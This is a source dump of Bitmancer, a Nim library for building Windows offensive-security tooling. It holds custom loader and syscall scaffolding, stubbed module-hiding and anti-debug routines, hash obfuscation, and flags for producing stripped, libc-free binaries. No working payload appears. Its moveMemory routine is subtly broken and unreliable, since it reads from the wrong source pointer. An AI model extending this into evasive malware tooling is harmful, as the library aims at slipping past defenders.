├── scripts ├── build.nims └── dumpsc.nims ├── tests ├── tcrt.nim ├── tloader.nim ├── config.nims ├── nim.cfg └── trtl.nim ├── .gitignore ├── Bitmancer.nimble ├── examples ├── loadlibrary.nim └── runShellcode.nim ├── src ├── Bitmancer │ ├── etw │ │ └── etw.nim │ ├── crt.nim │ ├── core │ │ ├── enumeration │ │ │ ├── enumeration.nim │ │ │ └── memory │ │ │ │ ├── procedures.nim │ │ │ │ ├── locks.nim │ │ │ │ └── syscalls.nim │ │ ├── types │ │ │ ├── sync.nim │ │ │ ├── base.nim │ │ │ ├── cfg.nim │ │ │ ├── exceptions.nim │ │ │ ├── apiset.nim │ │ │ ├── pe.nim │ │ │ └── shared.nim │ │ ├── types.nim │ │ ├── ntresult.nim │ │ ├── memory.nim │ │ ├── intrinsics.nim │ │ ├── obfuscation │ │ │ └── hash.nim │ │ ├── results.nim │ │ ├── utils.nim │ │ ├── pebteb.nim │ │ └── procedures.nim │ ├── rtl.nim │ ├── dbg │ │ └── antidbg.nim │ ├── core.nim │ ├── loader │ │ ├── ldrevasion.nim │ │ ├── mappings │ │ │ ├── remote.nim │ │ │ └── native.nim │ │ ├── ldrutils.nim │ │ ├── ldrlocks.nim │ │ ├── ldrbase.nim │ │ ├── ldrmap.nim │ │ ├── ldrexceptions.nim │ │ ├── ldrcfg.nim │ │ └── ldrmapsnap.nim │ ├── ntdll.nim │ ├── rtl │ │ ├── shlwapi.nim │ │ ├── exceptions.nim │ │ ├── heap.nim │ │ ├── str.nim │ │ ├── locks.nim │ │ └── rb.nim │ ├── syscalls.nim │ ├── ntdll │ │ ├── procthreads.nim │ │ ├── query.nim │ │ └── vm.nim │ ├── crt │ │ └── io.nim │ ├── ldr.nim │ └── syscalls │ │ ├── gates.nim │ │ ├── zwcounter.nim │ │ ├── base.nim │ │ └── ldrthunks.nim └── Bitmancer.nim ├── nim.cfg └── README.md /scripts/build.nims: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/tcrt.nim: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/tloader.nim: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /scripts/dumpsc.nims: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/config.nims: -------------------------------------------------------------------------------- 1 | switch("path", "$projectDir/../src") -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | nimcache/ 2 | nimblecache/ 3 | htmldocs/ 4 | cache/ 5 | -------------------------------------------------------------------------------- /tests/nim.cfg: -------------------------------------------------------------------------------- 1 | -d:danger 2 | -d:release 3 | --cpu:amd64 4 | 5 | -------------------------------------------------------------------------------- /Bitmancer.nimble: -------------------------------------------------------------------------------- 1 | 2 | # Package 3 | version = "0.1.0" 4 | author = "ZimaWhit3" 5 | description = "Offensive Security Tooling Development Library" 6 | license = "GNU GPLv3" 7 | srcDir = "src" 8 | installExt = @["nim"] 9 | 10 | # Dependencies 11 | requires "nim >= 1.6.8" 12 | requires "winim >= 3.9.0" 13 | 14 | task clean, "Clean the cache directory": 15 | exec "rm -rf ./cache" 16 | exec "mkdir ./cache" 17 | -------------------------------------------------------------------------------- /examples/loadlibrary.nim: -------------------------------------------------------------------------------- 1 | 2 | 3 | import 4 | ../src/Bitmancer 5 | 6 | proc loadlibrary*() = 7 | var amsi {.stackStringW.} = "\\??\\C:\\Windows\\System32\\RPCRT4.dll" 8 | var okMessage {.stackStringA.} = "Loaded RPCRT4.dll" 9 | var badMessage {.stackStringA.} = "Failed to lose RPCRT4.dll" 10 | var flags = DWORD(0) 11 | SET_LOAD_LOCAL flags 12 | let ctx = eLoadLibrary(flags, cast[PCWSTR](addr amsi[0]), NULL, 0) 13 | if ctx.isOk(): 14 | rawWriteStdOut cast[cstring](addr okMessage[0]) 15 | else: 16 | rawWriteStdOut cast[cstring](addr badMessage[0]) 17 | loadlibrary() 18 | debugbreak() 19 | -------------------------------------------------------------------------------- /src/Bitmancer/etw/etw.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | ## TODO -------------------------------------------------------------------------------- /src/Bitmancer/crt.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | import 22 | crt/[io] 23 | export 24 | io -------------------------------------------------------------------------------- /src/Bitmancer/core/enumeration/enumeration.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | memory/[locks, procedures] 22 | 23 | export 24 | locks, procedures 25 | 26 | -------------------------------------------------------------------------------- /src/Bitmancer.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | Bitmancer/[core, crt, ldr, ntdll, rtl, syscalls] 22 | 23 | export 24 | core, crt, ldr, ntdll, rtl, syscalls 25 | 26 | -------------------------------------------------------------------------------- /src/Bitmancer/rtl.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | import 22 | rtl/[exceptions, heap, locks, rb, shlwapi, str] 23 | 24 | export 25 | exceptions, heap, locks, rb, shlwapi, str -------------------------------------------------------------------------------- /src/Bitmancer/dbg/antidbg.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | 22 | ## Anti Debug Routines & Helpers 23 | ##------------------------------------------------------------------------ 24 | func isDebuggerPresent*(): bool = 25 | ## TODO -------------------------------------------------------------------------------- /src/Bitmancer/core.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | import 22 | core/[apiset, intrinsics, memory, ntloader, ntresult, pe, pebteb, procedures, str, types, utils] 23 | 24 | export 25 | apiset, intrinsics, memory, ntloader, ntresult, pe, pebteb, procedures, str, types, utils 26 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrevasion.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ldrbase 22 | 23 | export 24 | ldrbase 25 | 26 | ## Loader Evasion 27 | ##------------------------------------ 28 | proc ldrHideModule*(ctx: PLoadContext): NtResult[void] = 29 | ## TODO 30 | 31 | proc ldrRevealModule*(ctx: PLoadContext): NtResult[void] = 32 | ## TODO -------------------------------------------------------------------------------- /src/Bitmancer/ntdll.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | import 22 | ntdll/[objects, procthreads, query, vm] 23 | 24 | export 25 | objects, procthreads, query, vm 26 | 27 | ## NTDLL 28 | ## 29 | ## This module implements wrappers around syscalls commonly found in 30 | ## ntdll.dll 31 | ##------------------------------------------------------------------------ -------------------------------------------------------------------------------- /src/Bitmancer/loader/mappings/remote.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../ldrbase 22 | export 23 | ldrbase 24 | 25 | ## Remote DLLs 26 | ##------------------------------------------------------------------------ 27 | proc ldrMapRemoteModule*(ctx: PLoadContext): NtResult[void] = 28 | ## TODO 29 | 30 | proc ldrUnmapRemoteModule*(ctx: PLoadContext): NtResult[void] = 31 | ## TODO -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrutils.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ldrbase 22 | 23 | export 24 | ldrbase 25 | 26 | ## TODO: Should prbably move these elsewhere... 27 | 28 | proc ldrPrepareForwardString*(): NtResult[UNICODE_STRING] = 29 | var fs = ? new UNICODE_STRING 30 | fs.addDrivePrefixU() 31 | fs.addSystem32DirectoryU() 32 | ok fs 33 | 34 | proc ldrResolveApiSet*(apiSetName: cstring): NtResult[UNICODE_STRING] = 35 | var asn = ? new UNICODE_STRING 36 | asn.add apiSetName 37 | ? resolveApiSet(asn, NULL) 38 | ok asn 39 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types/sync.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | base 22 | export 23 | base 24 | 25 | ## SRW Locks 26 | ##----------------------------------------------- 27 | type 28 | RTL_SRWLOCK_STRUCT_1* {.pure.} = object 29 | Locked* {.bitsize:1.}: ULONGLONG 30 | Waiting* {.bitsize:1.}: ULONGLONG 31 | Waking* {.bitsize:1.}: ULONGLONG 32 | MultipleShared* {.bitsize:1.}: ULONGLONG 33 | Shared* {.bitsize:60.}: ULONGLONG 34 | 35 | RTL_SRWLOCK* {.pure, union.} = object 36 | Struct1*: RTL_SRWLOCK_STRUCT_1 37 | Value*: ULONGLONG 38 | Ptr*: PVOID 39 | PRTL_SRWLOCK* = ptr RTL_SRWLOCK 40 | 41 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | types/[api, base, cfg, exceptions, loader, ntmmapi, pe, pebteb, shared, sync] 22 | export 23 | api, base, cfg, exceptions, loader, ntmmapi, pe, pebteb, shared, sync 24 | 25 | type 26 | ## Distinct pointer for module base addresses. 27 | ModuleHandle* = distinct pointer 28 | 29 | func `==`*(a: ModuleHandle, b: pointer): bool {.borrow.} 30 | func `==`*(a,b: ModuleHandle): bool {.borrow.} 31 | func `isNil`*(a: ModuleHandle): bool {.borrow.} 32 | 33 | template `+%`*(h: ModuleHandle, i: SomeInteger): PVOID = 34 | cast[PVOID](cast[int](h) +% i) 35 | 36 | template `-%`*(h: ModuleHandle, i: SomeInteger): PVOID = 37 | cast[PVOID](cast[int](h) -% i) 38 | -------------------------------------------------------------------------------- /src/Bitmancer/rtl/shlwapi.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core 22 | export 23 | core 24 | 25 | func pathFindFileNameW*(path: LPCWSTR): NtResult[LPCWSTR] = 26 | if not path.isNil(): 27 | var 28 | tmp = cast[ptr UncheckedArray[WCHAR]](path) 29 | i = 0 30 | result = ok path 31 | while tmp[i] != 0: 32 | if (tmp[i] == TEXTW('\\') or tmp[i] == TEXTW(':') or tmp[i] == TEXTW('/')) and (tmp[i+1] != 0) and 33 | (tmp[i+1] != TEXTW('\\')) and (tmp[i+1] != TEXTW('/')): 34 | result = ok cast[LPCWSTR](addr tmp[i+1]) 35 | if (tmp[i] == TEXTW('\\') and tmp[i+1] == 0): 36 | return ok path 37 | inc i 38 | else: 39 | result = err InvalidBuffer 40 | -------------------------------------------------------------------------------- /src/Bitmancer/core/ntresult.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | results 22 | 23 | export 24 | results 25 | 26 | type 27 | NtError* {.pure.} = enum 28 | ## Generic Errors 29 | ##------------- 30 | InsufficientMemory 31 | InvalidBuffer 32 | InvalidBufferSize 33 | InvalidFlags 34 | SearchNotFound 35 | RedBlackTreeError 36 | RBTreeNotFound 37 | ## PE Errors 38 | ##------------- 39 | ## Directory 40 | DirectoryEmpty 41 | DirectoryNotFound 42 | DirectoryIndexOOB 43 | 44 | ## Imports 45 | ImageInvalid 46 | 47 | ## Locks 48 | LockNotFound 49 | 50 | ## Procedures 51 | ProcedureNotFound 52 | ProcedureFailure 53 | ProcedureForwardApiSet 54 | 55 | ## Sections 56 | SectionEmpty 57 | SectionNotFound 58 | 59 | ## Syscall Errors 60 | ##------------- 61 | SignaturesNotFound 62 | SyscallNotFound 63 | SyscallFailure 64 | 65 | ## Loader Errors 66 | ##------------- 67 | LdrEntryNotFound 68 | LdrLinkFailed 69 | LdrUnlinkFailed 70 | 71 | ApiSetSchemaNotSupported 72 | ApiSetNotFound 73 | 74 | NtResult*[T] = Result[T, NtError] -------------------------------------------------------------------------------- /src/Bitmancer/core/memory.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | types 22 | export 23 | types 24 | 25 | template PAGE_BOUNDARY*(va: ULONG_PTR, pageSize = 0x1000): PVOID = 26 | ## https://stackoverflow.com/questions/22970621/aligning-virtual-address-to-immediate-next-page-boundary 27 | if (va and (pageSize -% 1)) == 0: 28 | cast[PVOID](va) 29 | else: 30 | cast[PVOID]((va +% pageSize) and not (pageSize -% 1)) 31 | 32 | proc moveMemory*(s1: pointer; s2: pointer; n: int): pointer {.discardable.} = 33 | var 34 | cs1: ptr uint8 35 | cs2: ptr uint8 36 | len: int 37 | if n <= 0: 38 | return s1 39 | cs1 = cast[ptr uint8](s1) 40 | cs2 = cast[ptr uint8](s2) 41 | len = n 42 | if cs1 < cs2: 43 | while true: 44 | cs1 = cast[ptr uint8](cast[int](cs1) + 1) 45 | cs2 = cast[ptr uint8](cast[int](cs1) + 1) 46 | cs1[] = cs2[] 47 | dec len 48 | if len == 0: 49 | break 50 | else: 51 | cs1 = cast[ptr uint8](cast[int](cs1) + n) 52 | cs2 = cast[ptr uint8](cast[int](cs1) + n) 53 | while true: 54 | cs1 = cast[ptr uint8](cast[int](cs1) - 1) 55 | cs2 = cast[ptr uint8](cast[int](cs1) - 1) 56 | cs1[] = cs2[] 57 | dec len 58 | if len == 0: 59 | break 60 | return s1 61 | -------------------------------------------------------------------------------- /nim.cfg: -------------------------------------------------------------------------------- 1 | 2 | ## Nim Flags 3 | ##------------------------------------ 4 | ## Standard Flags 5 | --define:danger 6 | --define:release 7 | --gc:none 8 | --threads:off 9 | --cpu:amd64 10 | --opt:size 11 | 12 | ## Set the cache directory 13 | --nimcache:"./cache/$projectname" 14 | 15 | ## Turn off main procedure generation, that will be set with a linker 16 | ## flag to NimMainModule 17 | --noMain:on 18 | 19 | ## Use Nim's routines to prevent linking to MSVCRT 20 | --define:nimNoLibc 21 | 22 | ## Turn off Winim's embedded resource 23 | --define:noRes 24 | 25 | ## Rebuild the binary to force rehashing 26 | --forcebuild 27 | 28 | ## Skip any parent configs 29 | --skipParentCfg 30 | 31 | ## Turn off all checks 32 | --checks:off 33 | --nanChecks:off 34 | --infChecks:off 35 | --styleCheck:off 36 | 37 | ## Misc. Flags 38 | --hotCodeReloading:off 39 | --tlsEmulation:off 40 | --stackTraceMsgs:off 41 | --sinkInference:off 42 | --styleChecks:off 43 | 44 | ## GCC flags 45 | ##------------------------------------ 46 | ## Standard Flags 47 | --t:"-masm=intel" 48 | --t:"-fpic" 49 | --t:"-O2" 50 | 51 | ## Turn off MingW's startup code & dynamically linked libraries (Kernel32 & MSVCRT) 52 | ## This is the equivalent of using: -nodefaultlibs -nostartfiles 53 | --t:"-nostdlib" 54 | 55 | ## Place functions & data in their own sections, this allows for our linker to 56 | ## garbage collect efficiently and reduce the code size. 57 | --t:"-ffunction-sections" 58 | --t:"-fdata-sections" 59 | 60 | ## Allow the use of case statements for cleaner code 61 | --t:"-fno-jump-tables" 62 | 63 | ## Turn off Exceptions 64 | --t:"-fno-exceptions" 65 | 66 | ## Suppress generation of stack unwinding tables 67 | --t:"-fno-asynchronous-unwind-tables" 68 | 69 | ## Merge identical constants and variables to reduce code size 70 | --t:"-fmerge-all-constants" 71 | 72 | ## Linker flags 73 | ##------------------------------------ 74 | ## Bypass all of Nim's initialization procedures, there is no GC so they aren't needed. 75 | ## This also turns off IO, so echo/debugecho will not work with this turned on. 76 | --l:"-Wl,-eNimMainModule" 77 | 78 | ## This needs to be passed to the compiler AND the linker... 79 | ## Reference: http://www.independent-software.com/linking-a-flat-binary-from-c-with-mingw.html 80 | --l:"-nostdlib" 81 | 82 | ## Garbage collect all unused code sections. 83 | --l:"-Wl,--gc-sections" 84 | 85 | ## Strip the executable of all debugging information 86 | --l:"-Wl,-s" 87 | -------------------------------------------------------------------------------- /src/Bitmancer/core/intrinsics.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | proc addressOfReturnAddress*(): pointer {.importc: "_AddressOfReturnAddress", header: "intrin.h".} 21 | proc debugbreak*() {.importc: "__debugbreak", header: "_mingw.h".} 22 | proc interlockedIncrement16*(value: ptr int16): int16 {.importc: "_InterlockedIncrement16", header: "".} 23 | proc interlockedIncrement*(value: ptr int32): int32 {.importc: "_InterlockedIncrement", header: "".} 24 | proc interlockedIncrement64*(value: ptr int64): int64 {.importc: "_InterlockedIncrement64", header: "".} 25 | 26 | when defined(cpu64): 27 | proc readgsbyte*(offset: uint32): uint8 {.importc: "__readgsbyte", header: ""} 28 | proc readgsword*(offset: uint32): uint16 {.importc: "__readgsword", header: "".} 29 | proc readgsdword*(offset: uint32): uint32 {.importc: "__readgsdword", header: "".} 30 | proc readgsqword*(offset: uint64): uint64 {.importc: "__readgsqword", header: "".} 31 | 32 | elif defined(i386): 33 | proc readfsbyte*(offset: uint32): uint8 {.importc: "__readfsbyte", header: "".} 34 | proc readfsword*(offset: uint32): uint16 {.importc: "__readfsword", header: "".} 35 | proc readfsdword*(offset: uint32): uint32 {.importc: "__readfsdword", header: "".} 36 | proc readfsqword*(offset: uint32): uint64 {.importc: "__readfsqword", header: "".} 37 | -------------------------------------------------------------------------------- /src/Bitmancer/core/obfuscation/hash.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | std/[random, parseutils], 22 | ../types 23 | 24 | export 25 | types 26 | 27 | ## CompileTime and RunTime Hashing 28 | ##------------------------------------------------------------------------ 29 | proc genRandomSeed(): uint32 {.compileTime.} = 30 | 